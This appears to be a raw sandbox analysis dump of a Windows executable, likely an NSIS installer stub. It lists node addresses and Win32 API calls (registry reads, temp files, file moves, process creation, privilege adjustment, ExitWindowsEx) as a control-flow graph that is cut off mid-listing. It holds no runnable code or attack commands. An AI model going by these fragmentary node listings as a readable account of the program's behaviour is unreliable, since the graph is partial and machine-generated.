4717->4626 4717->4627 4719 10001266 2 API calls 4718->4719 4720 10001503 4719->4720 4720->4620 4721->4631 4722->4657 4724 10001552 4723->4724 4724->4654 4731 10001215 GlobalAlloc 4725->4731 4727 10001233 lstrcpynA 4727->4653 4728->4657 4729->4649 4730->4656 4731->4727 4733 100012b4 4732->4733 4734 10001224 2 API calls 4733->4734 4735 100012cf 4734->4735 4735->4663 4737 10002581 4736->4737 4738 1000252b VirtualAlloc 4736->4738 4737->4669 4738->4737 4739->4694 4741 100012f9 4740->4741 4742 100012da 4740->4742 4741->4694 4742->4741 4743 100012e0 lstrcpyA 4742->4743 4743->4741 4744->4705 5089 401000 5090 401037 BeginPaint GetClientRect 5089->5090 5091 40100c DefWindowProcA 5089->5091 5093 4010f3 5090->5093 5094 401179 5091->5094 5095 401073 CreateBrushIndirect FillRect DeleteObject 5093->5095 5096 4010fc 5093->5096 5095->5093 5097 401102 CreateFontIndirectA 5096->5097 5098 401167 EndPaint 5096->5098 5097->5098 5099 401112 6 API calls 5097->5099 5098->5094 5099->5098 5100 401900 5101 402ace 18 API calls 5100->5101 5102 401907 5101->5102 5103 4055b9 MessageBoxIndirectA 5102->5103 5104 401910 5103->5104 5105 403701 5106 40370c 5105->5106 5107 403710 5106->5107 5108 403713 GlobalAlloc 5106->5108 5108->5107 5109 401502 5110 40150a 5109->5110 5112 40151d 5109->5112 5111 402aac 18 API calls 5110->5111 5111->5112 3649 402483 3660 402bd8 3649->3660 3651 40248d 3664 402ace 3651->3664 3654 4024a0 RegQueryValueExA 3656 4024c0 3654->3656 3657 4024c6 RegCloseKey 3654->3657 3655 402729 3656->3657 3670 405d21 wsprintfA 3656->3670 3657->3655 3661 402ace 18 API calls 3660->3661 3662 402bf1 3661->3662 3663 402bff RegOpenKeyExA 3662->3663 3663->3651 3665 402ada 3664->3665 3671 405de5 3665->3671 3668 402496 3668->3654 3668->3655 3670->3657 3676 405df2 3671->3676 3672 406015 3673 402afb 3672->3673 3705 405dc3 lstrcpynA 3672->3705 3673->3668 3689 40602e 3673->3689 3675 405e93 GetVersion 3675->3676 3676->3672 3676->3675 3677 405fec lstrlenA 3676->3677 3680 405de5 10 API calls 3676->3680 3681 405f0b GetSystemDirectoryA 3676->3681 3683 405f1e GetWindowsDirectoryA 3676->3683 3684 40602e 5 API calls 3676->3684 3685 405f52 SHGetSpecialFolderLocation 3676->3685 3686 405de5 10 API calls 3676->3686 3687 405f95 lstrcatA 3676->3687 3698 405caa RegOpenKeyExA 3676->3698 3703 405d21 wsprintfA 3676->3703 3704 405dc3 lstrcpynA 3676->3704 3677->3676 3680->3677 3681->3676 3683->3676 3684->3676 3685->3676 3688 405f6a SHGetPathFromIDListA CoTaskMemFree 3685->3688 3686->3676 3687->3676 3688->3676 3690 40603a 3689->3690 3692 406097 CharNextA 3690->3692 3694 4060a2 3690->3694 3696 406085 CharNextA 3690->3696 3697 406092 CharNextA 3690->3697 3706 405860 3690->3706 3691 4060a6 CharPrevA 3691->3694 3692->3690 3692->3694 3694->3691 3695 4060c1 3694->3695 3695->3668 3696->3690 3697->3692 3699 405d1b 3698->3699 3700 405cdd RegQueryValueExA 3698->3700 3699->3676 3701 405cfe RegCloseKey 3700->3701 3701->3699 3703->3676 3704->3676 3705->3673 3707 405866 3706->3707 3708 405879 3707->3708 3709 40586c CharNextA 3707->3709 3708->3690 3709->3707 5113 100029c3 5114 100029db 5113->5114 5115 10001534 2 API calls 5114->5115 5116 100029f6 5115->5116 5117 401c04 5118 402aac 18 API calls 5117->5118 5119 401c0b 5118->5119 5120 402aac 18 API calls 5119->5120 5121 401c18 5120->5121 5122 402ace 18 API calls 5121->5122 5124 401c2d 5121->5124 5122->5124 5123 401c3d 5126 401c94 5123->5126 5127 401c48 5123->5127 5124->5123 5125 402ace 18 API calls 5124->5125 5125->5123 5128 402ace 18 API calls 5126->5128 5129 402aac 18 API calls 5127->5129 5130 401c99 5128->5130 5131 401c4d 5129->5131 5132 402ace 18 API calls 5130->5132 5133 402aac 18 API calls 5131->5133 5135 401ca2 FindWindowExA 5132->5135 5134 401c59 5133->5134 5136 401c84 SendMessageA 5134->5136 5137 401c66 SendMessageTimeoutA 5134->5137 5138 401cc0 5135->5138 5136->5138 5137->5138 4189 40270b 4190 402ace 18 API calls 4189->4190 4191 402712 FindFirstFileA 4190->4191 4192 402735 4191->4192 4193 402725 4191->4193 4194 40273c 4192->4194 4197 405d21 wsprintfA 4192->4197 4198 405dc3 lstrcpynA 4194->4198 4197->4194 4198->4193 5139 401490 5140 404fdc 25 API calls 5139->5140 5141 401497 5140->5141 5142 402590 5143 402595 5142->5143 5144 4025a9 5142->5144 5145 402aac 18 API calls 5143->5145 5146 402ace 18 API calls 5144->5146 5148 40259e 5145->5148 5147 4025b0 lstrlenA 5146->5147 5147->5148 5149 405add WriteFile 5148->5149 5150 4025d2 5148->5150 5149->5150 5151 402c13 5152 402c22 SetTimer 5151->5152 5153 402c3b 5151->5153 5152->5153 5154 402c90 5153->5154 5155 402c55 MulDiv wsprintfA SetWindowTextA SetDlgItemTextA 5153->5155 5155->5154 4367 402695 4368 40269c 4367->4368 4370 40290b 4367->4370 4369 402aac 18 API calls 4368->4369 4371 4026a3 4369->4371 4372 4026b2 SetFilePointer 4371->4372 4372->4370 4373 4026c2 4372->4373 4375 405d21 wsprintfA 4373->4375 4375->4370 5156 401d95 GetDC 5157 402aac 18 API calls 5156->5157 5158 401da7 GetDeviceCaps MulDiv ReleaseDC 5157->5158 5159 402aac 18 API calls 5158->5159 5160 401dd8 5159->5160 5161 405de5 18 API calls 5160->5161 5162 401e15 CreateFontIndirectA 5161->5162 5163 40258a 5162->5163 5164 10001058 5166 10001074 5164->5166 5165 100010dc 5166->5165 5167 100014bb GlobalFree 5166->5167 5168 10001091 5166->5168 5167->5168 5169 100014bb GlobalFree 5168->5169 5170 100010a1 5169->5170 5171 100010b1 5170->5171 5172 100010a8 GlobalSize 5170->5172 5173 100010b5 GlobalAlloc 5171->5173 5175 100010c6 5171->5175 5172->5171 5174 100014e2 3 API calls 5173->5174 5174->5175 5176 100010d1 GlobalFree 5175->5176 5176->5165 5177 40511a 5178 4052c5 5177->5178 5179 40513c GetDlgItem GetDlgItem GetDlgItem 5177->5179 5181 4052f5 5178->5181 5182 4052cd GetDlgItem CreateThread CloseHandle 5178->5182 5222 403fdd SendMessageA 5179->5222 5183 405323 5181->5183 5184 405344 5181->5184 5185 40530b ShowWindow ShowWindow 5181->5185 5182->5181 5187 40537e 5183->5187 5189 405333 5183->5189 5190 405357 ShowWindow 5183->5190 5191 40400f 8 API calls 5184->5191 5224 403fdd SendMessageA 5185->5224 5186 4051ac 5192 4051b3 GetClientRect GetSystemMetrics SendMessageA SendMessageA 5186->5192 5187->5184 5195 40538b SendMessageA 5187->5195 5196 403f81 SendMessageA 5189->5196 5198 405377 5190->5198 5199 405369 5190->5199 5197 405350 5191->5197 5193 405221 5192->5193 5194 405205 SendMessageA SendMessageA 5192->5194 5200 405234 5193->5200 5201 405226 SendMessageA 5193->5201 5194->5193 5195->5197 5202 4053a4 CreatePopupMenu 5195->5202 5196->5184 5204 403f81 SendMessageA 5198->5204 5203 404fdc 25 API calls 5199->5203 5206 403fa8 19 API calls 5200->5206 5201->5200 5205 405de5 18 API calls 5202->5205 5203->5198 5204->5187 5207 4053b4 AppendMenuA 5205->5207 5208 405244 5206->5208 5209 4053d2 GetWindowRect 5207->5209 5210 4053e5 TrackPopupMenu 5207->5210 5211 405281 GetDlgItem SendMessageA 5208->5211 5212 40524d ShowWindow 5208->5212 5209->5210 5210->5197 5213 405401 5210->5213 5211->5197 5215 4052a8 SendMessageA SendMessageA 5211->5215 5214 405263 ShowWindow 5212->5214 5217 405270 5212->5217 5216 405420 SendMessageA 5213->5216 5214->5217 5215->5197 5216->5216 5218 40543d OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 5216->5218 5223 403fdd SendMessageA 5217->5223 5220 40545f SendMessageA 5218->5220 5220->5220 5221 405481 GlobalUnlock SetClipboardData CloseClipboard 5220->5221 5221->5197 5222->5186 5223->5211 5224->5183 5225 401d1a 5226 402aac 18 API calls 5225->5226 5227 401d28 SetWindowLongA 5226->5227 5228 40295e 5227->5228 4562 40159d 4563 402ace 18 API calls 4562->4563 4564 4015a4 SetFileAttributesA 4563->4564 4565 4015b6 4564->4565 5234 40149d 5235 4014ab PostQuitMessage 5234->5235 5236 4022dd 5234->5236 5235->5236 5237 401a1e 5238 402ace 18 API calls 5237->5238 5239 401a27 ExpandEnvironmentStringsA 5238->5239 5240 401a3b 5239->5240 5241 401a4e 5239->5241 5240->5241 5242 401a40 lstrcmpA 5240->5242 5242->5241 4745 40171f 4746 402ace 18 API calls 4745->4746 4747 401726 SearchPathA 4746->4747 4748 401741 4747->4748 5243 40439f 5244 4043d5 5243->5244 5245 4043af 5243->5245 5247 40400f 8 API calls 5244->5247 5246 403fa8 19 API calls 5245->5246 5248 4043bc SetDlgItemTextA 5246->5248 5249 4043e1 5247->5249 5248->5244 5250 100010e0 5259 1000110e 5250->5259 5251 100011c4 GlobalFree 5252 100012ad 2 API calls 5252->5259 5253 100011c3 5253->5251 5254 100011ea GlobalFree 5254->5259 5255 10001266 2 API calls 5258 100011b1 GlobalFree 5255->5258 5256 10001155 GlobalAlloc 5256->5259 5257 100012d1 lstrcpyA 5257->5259 5258->5259 5259->5251 5259->5252 5259->5253 5259->5254 5259->5255 5259->5256 5259->5257 5259->5258 5260 10002162 5261 100021c0 5260->5261 5263 100021f6 5260->5263 5262 100021d2 GlobalAlloc 5261->5262 5261->5263 5262->5261 3710 4031a3 SetErrorMode GetVersion 3711 4031da 3710->3711 3712 4031e0 3710->3712 3713 40615c 5 API calls 3711->3713 3798 4060ee GetSystemDirectoryA 3712->3798 3713->3712 3715 4031f6 lstrlenA 3715->3712 3716 403205 3715->3716 3801 40615c GetModuleHandleA 3716->3801 3719 40615c 5 API calls 3720 403214 #17 OleInitialize SHGetFileInfoA 3719->3720 3807 405dc3 lstrcpynA 3720->3807 3722 403251 GetCommandLineA 3808 405dc3 lstrcpynA 3722->3808 3724 403263 GetModuleHandleA 3725 40327a 3724->3725 3726 405860 CharNextA 3725->3726 3727 40328e CharNextA 3726->3727 3735 40329e 3727->3735 3728 403368 3729 40337b GetTempPathA 3728->3729 3809 403172 3729->3809 3731 403393 3732 403397 GetWindowsDirectoryA lstrcatA 3731->3732 3733 4033ed DeleteFileA 3731->3733 3736 403172 12 API calls 3732->3736 3819 402cfa GetTickCount GetModuleFileNameA 3733->3819 3734 405860 CharNextA 3734->3735 3735->3728 3735->3734 3740 40336a 3735->3740 3739 4033b3 3736->3739 3738 403401 3743 403487 3738->3743 3747 405860 CharNextA 3738->3747 3794 403497 3738->3794 3739->3733 3742 4033b7 GetTempPathA lstrcatA SetEnvironmentVariableA SetEnvironmentVariableA 3739->3742 3914 405dc3 lstrcpynA 3740->3914 3745 403172 12 API calls 3742->3745 3847 403743 3743->3847 3749 4033e5 3745->3749 3750 40341c 3747->3750 3749->3733 3749->3794 3757 403462 3750->3757 3758 4034c7 3750->3758 3751 4034b1 3938 4055b9 3751->3938 3752 4035cf 3754 403651 ExitProcess 3752->3754 3755 4035d7 GetCurrentProcess OpenProcessToken 3752->3755 3760 403622 3755->3760 3761 4035f2 LookupPrivilegeValueA AdjustTokenPrivileges 3755->3761 3915 405923 3757->3915 3903 40553c 3758->3903 3764 40615c 5 API calls 3760->3764 3761->3760 3765 403629 3764->3765 3768 40363e ExitWindowsEx 3765->3768 3771 40364a 3765->3771 3768->3754 3768->3771 3769 4034e8 lstrcatA lstrcmpiA 3773 403504 3769->3773 3769->3794 3770 4034dd lstrcatA 3770->3769 3951 40140b 3771->3951 3774 403510 3773->3774 3775 403509 3773->3775 3947 40551f CreateDirectoryA 3774->3947 3942 4054a2 CreateDirectoryA 3775->3942 3777 40347c 3930 405dc3 lstrcpynA 3777->3930 3782 403515 SetCurrentDirectoryA 3783 403524 3782->3783 3784 40352f 3782->3784 3950 405dc3 lstrcpynA 3783->3950 3906 405dc3 lstrcpynA 3784->3906 3787 40353d 3788 405de5 18 API calls 3787->3788 3791 4035c3 3787->3791 3795 405de5 18 API calls 3787->3795 3797 4035af CloseHandle 3787->3797 3907 405c7e MoveFileExA 3787->3907 3911 405554 CreateProcessA 3787->3911 3789 40356e DeleteFileA 3788->3789 3789->3787 3790 40357b CopyFileA 3789->3790 3790->3787 3793 405c7e 38 API calls 3791->3793 3793->3794 3931 403669 3794->3931 3795->3787 3797->3787 3799 406110 wsprintfA LoadLibraryExA 3798->3799 3799->3715 3802 406182 GetProcAddress 3801->3802 3803 406178 3801->3803 3804 40320d 3802->3804 3805 4060ee 3 API calls 3803->3805 3804->3719 3806 40617e 3805->3806 3806->3802 3806->3804 3807->3722 3808->3724 3810 40602e 5 API calls 3809->3810 3811 40317e 3810->3811 3812 403188 3811->3812 3954 405835 lstrlenA CharPrevA 3811->3954 3812->3731 3815 40551f 2 API calls 3816 403196 3815->3816 3957 405a65 3816->3957 3961 405a36 GetFileAttributesA CreateFileA 3819->3961 3821 402d3a 3840 402d4a 3821->3840 3962 405dc3 lstrcpynA 3821->3962 3823 402d60 3963 40587c lstrlenA 3823->3963 3827 402d71 GetFileSize 3828 402e6d 3827->3828 3842 402d88 3827->3842 3968 402c96 3828->3968 3830 402e76 3832 402ea6 GlobalAlloc 3830->3832 3830->3840 4003 40315b SetFilePointer 3830->4003 3979 40315b SetFilePointer 3832->3979 3835 402ed9 3837 402c96 6 API calls 3835->3837 3836 402ec1 3980 402f33 3836->3980 3837->3840 3838 402e8f 3841 403145 ReadFile 3838->3841 3840->3738 3844 402e9a 3841->3844 3842->3828 3842->3835 3842->3840 3843 402c96 6 API calls 3842->3843 4000 403145 3842->4000 3843->3842 3844->3832 3844->3840 3845 402ecd 3845->3840 3845->3845 3846 402f0a SetFilePointer 3845->3846 3846->3840 3848 40615c 5 API calls 3847->3848 3849 403757 3848->3849 3850 40375d 3849->3850 3851 40376f 3849->3851 4033 405d21 wsprintfA 3850->4033 3852 405caa 3 API calls 3851->3852 3853 40379a 3852->3853 3855 4037b8 lstrcatA 3853->3855 3857 405caa 3 API calls 3853->3857 3856 40376d 3855->3856 4024 403a08 3856->4024 3857->3855 3860 405923 18 API calls 3861 4037ea 3860->3861 3862 403873 3861->3862 3865 405caa 3 API calls 3861->3865 3863 405923 18 API calls 3862->3863 3864 403879 3863->3864 3867 403889 LoadImageA 3864->3867 3868 405de5 18 API calls 3864->3868 3866 403816 3865->3866 3866->3862 3871 403832 lstrlenA 3866->3871 3875 405860 CharNextA 3866->3875 3869 4038b0 RegisterClassA 3867->3869 3870 40392f 3867->3870 3868->3867 3872 4038e6 SystemParametersInfoA CreateWindowExA 3869->3872 3873 403939 3869->3873 3874 40140b 2 API calls 3870->3874 3876 403840 lstrcmpiA 3871->3876 3877 403866 3871->3877 3872->3870 3873->3794 3878 403935 3874->3878 3879 403830 3875->3879 3876->3877 3880 403850 GetFileAttributesA 3876->3880 3881 405835 3 API calls 3877->3881 3878->3873 3883 403a08 19 API calls 3878->3883 3879->3871 3882 40385c 3880->3882 3884 40386c 3881->3884 3882->3877 3885 40587c 2 API calls 3882->3885 3886 403946 3883->3886 4034 405dc3 lstrcpynA 3884->4034 3885->3877 3888 403952 ShowWindow 3886->3888 3889 4039d5 3886->3889 3891 4060ee 3 API calls 3888->3891 4035 4050ae OleInitialize 3889->4035 3894 40396a 3891->3894 3892 4039db 3895 4039f7 3892->3895 3896 4039df 3892->3896 3893 403978 GetClassInfoA 3899 4039a2 DialogBoxParamA 3893->3899 3900 40398c GetClassInfoA RegisterClassA 3893->3900 3894->3893 3897 4060ee 3 API calls 3894->3897 3898 40140b 2 API calls 3895->3898 3896->3873 3902 40140b 2 API calls 3896->3902 3897->3893 3898->3873 3901 40140b 2 API calls 3899->3901 3900->3899 3901->3873 3902->3873 3904 40615c 5 API calls 3903->3904 3905 4034cc lstrcatA 3904->3905 3905->3769 3905->3770 3906->3787 3908 405c9f 3907->3908 3909 405c92 3907->3909 3908->3787 4050 405b0c lstrcpyA 3909->4050 3912 405593 3911->3912 3913 405587 CloseHandle 3911->3913 3912->3787 3913->3912 3914->3729 4084 405dc3 lstrcpynA 3915->4084 3917 405934 4085 4058ce CharNextA CharNextA 3917->4085 3920 40346d 3920->3794 3929 405dc3 lstrcpynA 3920->3929 3921 40602e 5 API calls 3927 40594a 3921->3927 3922 405975 lstrlenA 3923 405980 3922->3923 3922->3927 3925 405835 3 API calls 3923->3925 3926 405985 GetFileAttributesA 3925->3926 3926->3920 3927->3920 3927->3922 3928 40587c 2 API calls 3927->3928 4091 4060c7 FindFirstFileA 3927->4091 3928->3922 3929->3777 3930->3743 3932 403681 3931->3932 3933 403673 CloseHandle 3931->3933 4094 4036ae 3932->4094 3933->3932 3939 4055ce 3938->3939 3940 4034bf ExitProcess 3939->3940 3941 4055e2 MessageBoxIndirectA 3939->3941 3941->3940 3943 4054f3 GetLastError 3942->3943 3944 40350e 3942->3944 3943->3944 3945 405502 SetFileSecurityA 3943->3945 3944->3782 3945->3944 3946 405518 GetLastError 3945->3946 3946->3944 3948 405533 GetLastError 3947->3948 3949 40552f 3947->3949 3948->3949 3949->3782 3950->3784 3952 401389 2 API calls 3951->3952 3953 401420 3952->3953 3953->3754 3955 403190 3954->3955 3956 40584f lstrcatA 3954->3956 3955->3815 3956->3955 3958 405a70 GetTickCount GetTempFileNameA 3957->3958 3959 4031a1 3958->3959 3960 405a9d 3958->3960 3959->3731 3960->3958 3960->3959 3961->3821 3962->3823 3964 405889 3963->3964 3965 402d66 3964->3965 3966 40588e CharPrevA 3964->3966 3967 405dc3 lstrcpynA 3965->3967 3966->3964 3966->3965 3967->3827 3969 402cb7 3968->3969 3970 402c9f 3968->3970 3973 402cc7 GetTickCount 3969->3973 3974 402cbf 3969->3974 3971 402ca8 DestroyWindow 3970->3971 3972 402caf 3970->3972 3971->3972 3972->3830 3976 402cd5 CreateDialogParamA ShowWindow 3973->3976 3977 402cf8 3973->3977 4004 406198 3974->4004 3976->3977 3977->3830 3979->3836 3981 402f49 3980->3981 3982 402f77 3981->3982 4010 40315b SetFilePointer 3981->4010 3984 403145 ReadFile 3982->3984 3985 402f82 3984->3985 3986 402f94 GetTickCount 3985->3986 3987 4030de 3985->3987 3994 4030c8 3985->3994 3986->3994 3998 402fe3 3986->3998 3988 403120 3987->3988 3993 4030e2 3987->3993 3990 403145 ReadFile 3988->3990 3989 403145 ReadFile 3989->3998 3990->3994 3991 403145 ReadFile 3991->3993 3992 405add WriteFile 3992->3993 3993->3991 3993->3992 3993->3994 3994->3845 3995 403039 GetTickCount 3995->3998 3996 40305e MulDiv wsprintfA 4011 404fdc 3996->4011 3998->3989 3998->3994 3998->3995 3998->3996 4008 405add WriteFile 3998->4008 4022 405aae ReadFile 4000->4022 4003->3838 4005 4061b5 PeekMessageA 4004->4005 4006 402cc5 4005->4006 4007 4061ab DispatchMessageA 4005->4007 4006->3830 4007->4005 4009 405afb 4008->4009 4009->3998 4010->3982 4012 404ff7 4011->4012 4021 40509a 4011->4021 4013 405014 lstrlenA 4012->4013 4014 405de5 18 API calls 4012->4014 4015 405022 lstrlenA 4013->4015 4016 40503d 4013->4016 4014->4013 4017 405034 lstrcatA 4015->4017 4015->4021 4018 405050 4016->4018 4019 405043 SetWindowTextA 4016->4019 4017->4016 4020 405056 SendMessageA SendMessageA SendMessageA 4018->4020 4018->4021 4019->4018 4020->4021 4021->3998 4023 403158 4022->4023 4023->3842 4025 403a1c 4024->4025 4042 405d21 wsprintfA 4025->4042 4027 403a8d 4028 405de5 18 API calls 4027->4028 4029 403a99 SetWindowTextA 4028->4029 4030 4037c8 4029->4030 4031 403ab5 4029->4031 4030->3860 4031->4030 4032 405de5 18 API calls 4031->4032 4032->4031 4033->3856 4034->3862 4043 403ff4 4035->4043 4037 403ff4 SendMessageA 4038 40510a OleUninitialize 4037->4038 4038->3892 4039 4050f8 4039->4037 4041 4050d1 4041->4039 4046 401389 4041->4046 4042->4027 4044 40400c 4043->4044 4045 403ffd SendMessageA 4043->4045 4044->4041 4045->4044 4048 401390 4046->4048 4047 4013fe 4047->4041 4048->4047 4049 4013cb MulDiv SendMessageA 4048->4049 4049->4048 4051 405b34 4050->4051 4052 405b5a GetShortPathNameA 4050->4052 4077 405a36 GetFileAttributesA CreateFileA 4051->4077 4054 405c79 4052->4054 4055 405b6f 4052->4055 4054->3908 4055->4054 4057 405b77 wsprintfA 4055->4057 4056 405b3e CloseHandle GetShortPathNameA 4056->4054 4059 405b52 4056->4059 4058 405de5 18 API calls 4057->4058 4060 405b9f 4058->4060 4059->4052 4059->4054 4078 405a36 GetFileAttributesA CreateFileA 4060->4078 4062 405bac 4062->4054 4063 405bbb GetFileSize GlobalAlloc 4062->4063 4064 405c72 CloseHandle 4063->4064 4065 405bdd 4063->4065 4064->4054 4066 405aae ReadFile 4065->4066 4067 405be5 4066->4067 4067->4064 4079 40599b lstrlenA 4067->4079 4070 405c10 4072 40599b 4 API calls 4070->4072 4071 405bfc lstrcpyA 4073 405c1e 4071->4073 4072->4073 4074 405c55 SetFilePointer 4073->4074 4075 405add WriteFile 4074->4075 4076 405c6b GlobalFree 4075->4076 4076->4064 4077->4056 4078->4062 4080 4059dc lstrlenA 4079->4080 4081 4059e4 4080->4081 4082 4059b5 lstrcmpiA 4080->4082 4081->4070 4081->4071 4082->4081 4083 4059d3 CharNextA 4082->4083 4083->4080 4084->3917 4086 4058e9 4085->4086 4088 4058f9 4085->4088 4086->4088 4089 4058f4 CharNextA 4086->4089 4087 405919 4087->3920 4087->3921 4088->4087 4090 405860 CharNextA 4088->4090 4089->4087 4090->4088 4092 4060e8 4091->4092 4093 4060dd FindClose 4091->4093 4092->3927 4093->4092 4095 4036bc 4094->4095 4096 403686 4095->4096 4097 4036c1 FreeLibrary GlobalFree 4095->4097 4098 405665 4096->4098 4097->4096 4097->4097 4099 405923 18 API calls 4098->4099 4100 405685 4099->4100 4101 4056a4 4100->4101 4102 40568d DeleteFileA 4100->4102 4104 4057dc 4101->4104 4139 405dc3 lstrcpynA 4101->4139 4103 4034a0 OleUninitialize 4102->4103 4103->3751 4103->3752 4104->4103 4109 4060c7 2 API calls 4104->4109 4106 4056ca 4107 4056d0 lstrcatA 4106->4107 4108 4056dd 4106->4108 4110 4056e3 4107->4110 4111 40587c 2 API calls 4108->4111 4114 4057f6 4109->4114 4112 4056f1 lstrcatA 4110->4112 4113 4056e8 4110->4113 4111->4110 4115 4056fc lstrlenA FindFirstFileA 4112->4115 4113->4112 4113->4115 4114->4103 4116 4057fa 4114->4116 4117 4057d2 4115->4117 4121 405720 4115->4121 4118 405835 3 API calls 4116->4118 4117->4104 4120 405800 4118->4120 4119 405860 CharNextA 4119->4121 4122 40561d 5 API calls 4120->4122 4121->4119 4127 4057b1 FindNextFileA 4121->4127 4134 405665 62 API calls 4121->4134 4136 404fdc 25 API calls 4121->4136 4137 404fdc 25 API calls 4121->4137 4138 405c7e 38 API calls 4121->4138 4140 405dc3 lstrcpynA 4121->4140 4141 40561d 4121->4141 4123 40580c 4122->4123 4124 405810 4123->4124 4125 405826 4123->4125 4124->4103 4129 404fdc 25 API calls 4124->4129 4126 404fdc 25 API calls 4125->4126 4126->4103 4127->4121 4130 4057c9 FindClose 4127->4130 4131 40581d 4129->4131 4130->4117 4132 405c7e 38 API calls 4131->4132 4135 405824 4132->4135 4134->4121 4135->4103 4136->4127 4137->4121 4138->4121 4139->4106 4140->4121 4149 405a11 GetFileAttributesA 4141->4149 4144 40564a 4144->4121 4145 405640 DeleteFileA 4147 405646 4145->4147 4146 405638 RemoveDirectoryA 4146->4147 4147->4144 4148 405656 SetFileAttributesA 4147->4148 4148->4144 4150 405629 4149->4150 4151 405a23 SetFileAttributesA 4149->4151 4150->4144 4150->4145 4150->4146 4151->4150 4152 401e25 4160 402aac 4152->4160 4154 401e2b 4155 402aac 18 API calls 4154->4155 4156 401e37 4155->4156 4157 401e43 ShowWindow 4156->4157 4158 401e4e EnableWindow 4156->4158 4159 40295e 4157->4159 4158->4159 4161 405de5 18 API calls 4160->4161 4162 402ac1 4161->4162 4162->4154 5264 401f2d 5265 402ace 18 API calls 5264->5265 5266 401f34 5265->5266 5267 4060c7 2 API calls 5266->5267 5268 401f3a 5267->5268 5269 401f4c 5268->5269 5271 405d21 wsprintfA 5268->5271 5271->5269 5272 402336 5273 402ace 18 API calls 5272->5273 5274 402347 5273->5274 5275 402ace 18 API calls 5274->5275 5276 402350 5275->5276 5277 402ace 18 API calls 5276->5277 5278 40235a GetPrivateProfileStringA 5277->5278 5279 4014b7 5280 4014bd 5279->5280 5281 401389 2 API calls 5280->5281 5282 4014c5 5281->5282 5283 404737 5284 404763 5283->5284 5285 404747 5283->5285 5287 404796 5284->5287 5288 404769 SHGetPathFromIDListA 5284->5288 5294 40559d GetDlgItemTextA 5285->5294 5289 404779 5288->5289 5293 404780 SendMessageA 5288->5293 5291 40140b 2 API calls 5289->5291 5290 404754 SendMessageA 5290->5284 5291->5293 5293->5287 5294->5290 5295 401b39 5296 402ace 18 API calls 5295->5296 5297 401b40 5296->5297 5298 402aac 18 API calls 5297->5298 5299 401b49 wsprintfA 5298->5299 5300 40295e 5299->5300 5301 402939 SendMessageA 5302 402953 InvalidateRect 5301->5302 5303 40295e 5301->5303 5302->5303 4519 4015bb 4520 402ace 18 API calls 4519->4520 4521 4015c2 4520->4521 4522 4058ce 4 API calls 4521->4522 4532 4015ca 4522->4532 4523 401624 4525 401652 4523->4525 4526 401629 4523->4526 4524 405860 CharNextA 4524->4532 4528 401423 25 API calls 4525->4528 4527 401423 25 API calls 4526->4527 4529 401630 4527->4529 4536 40164a 4528->4536 4538 405dc3 lstrcpynA 4529->4538 4530 40551f 2 API calls 4530->4532 4532->4523 4532->4524 4532->4530 4533 40553c 5 API calls 4532->4533 4535 40160c GetFileAttributesA 4532->4535 4537 4054a2 4 API calls 4532->4537 4533->4532 4534 40163b SetCurrentDirectoryA 4534->4536 4535->4532 4537->4532 4538->4534 5304 4016bb 5305 402ace 18 API calls 5304->5305 5306 4016c1 GetFullPathNameA 5305->5306 5307 4016d8 5306->5307 5313 4016f9 5306->5313 5309 4060c7 2 API calls 5307->5309 5307->5313 5308 40170d GetShortPathNameA 5310 40295e 5308->5310 5311 4016e9 5309->5311 5311->5313 5314 405dc3 lstrcpynA 5311->5314 5313->5308 5313->5310 5314->5313 5315 401d3b GetDlgItem GetClientRect 5316 402ace 18 API calls 5315->5316 5317 401d6b LoadImageA SendMessageA 5316->5317 5318 401d89 DeleteObject 5317->5318 5319 40295e 5317->5319 5318->5319 5320 4040bc lstrcpynA lstrlenA

                                                          Executed Functions

                                                          Function 004031A3 Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357stringcomfileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 0 4031a3-4031d8 SetErrorMode GetVersion 1 4031da-4031e2 call 40615c 0->1 2 4031eb 0->2 1->2 8 4031e4 1->8 4 4031f0-403203 call 4060ee lstrlenA 2->4 9 403205-403278 call 40615c * 2 #17 OleInitialize SHGetFileInfoA call 405dc3 GetCommandLineA call 405dc3 GetModuleHandleA 4->9 8->2 18 403284-403299 call 405860 CharNextA 9->18 19 40327a-40327f 9->19 22 40335e-403362 18->22 19->18 23 403368 22->23 24 40329e-4032a1 22->24 27 40337b-403395 GetTempPathA call 403172 23->27 25 4032a3-4032a7 24->25 26 4032a9-4032b1 24->26 25->25 25->26 28 4032b3-4032b4 26->28 29 4032b9-4032bc 26->29 36 403397-4033b5 GetWindowsDirectoryA lstrcatA call 403172 27->36 37 4033ed-403407 DeleteFileA call 402cfa 27->37 28->29 31 4032c2-4032c6 29->31 32 40334e-40335b call 405860 29->32 34 4032c8-4032ce 31->34 35 4032de-40330b 31->35 32->22 47 40335d 32->47 39 4032d0-4032d2 34->39 40 4032d4 34->40 41 40330d-403313 35->41 42 40331e-40334c 35->42 36->37 55 4033b7-4033e7 GetTempPathA lstrcatA SetEnvironmentVariableA * 2 call 403172 36->55 52 40349b-4034ab call 403669 OleUninitialize 37->52 53 40340d-403413 37->53 39->35 39->40 40->35 48 403315-403317 41->48 49 403319 41->49 42->32 51 40336a-403376 call 405dc3 42->51 47->22 48->42 48->49 49->42 51->27 66 4034b1-4034c1 call 4055b9 ExitProcess 52->66 67 4035cf-4035d5 52->67 56 403415-403420 call 405860 53->56 57 40348b-403492 call 403743 53->57 55->37 55->52 68 403422-40344b 56->68 69 403456-403460 56->69 64 403497 57->64 64->52 71 403651-403659 67->71 72 4035d7-4035f0 GetCurrentProcess OpenProcessToken 67->72 73 40344d-40344f 68->73 76 403462-40346f call 405923 69->76 77 4034c7-4034db call 40553c lstrcatA 69->77 74 40365b 71->74 75 40365f-403663 ExitProcess 71->75 79 403622-403630 call 40615c 72->79 80 4035f2-40361c LookupPrivilegeValueA AdjustTokenPrivileges 72->80 73->69 81 403451-403454 73->81 74->75 76->52 90 403471-403487 call 405dc3 * 2 76->90 91 4034e8-403502 lstrcatA lstrcmpiA 77->91 92 4034dd-4034e3 lstrcatA 77->92 88 403632-40363c 79->88 89 40363e-403648 ExitWindowsEx 79->89 80->79 81->69 81->73 88->89 93 40364a-40364c call 40140b 88->93 89->71 89->93 90->57 91->52 95 403504-403507 91->95 92->91 93->71 96 403510 call 40551f 95->96 97 403509-40350e call 4054a2 95->97 106 403515-403522 SetCurrentDirectoryA 96->106 97->106 107 403524-40352a call 405dc3 106->107 108 40352f-403557 call 405dc3 106->108 107->108 112 40355d-403579 call 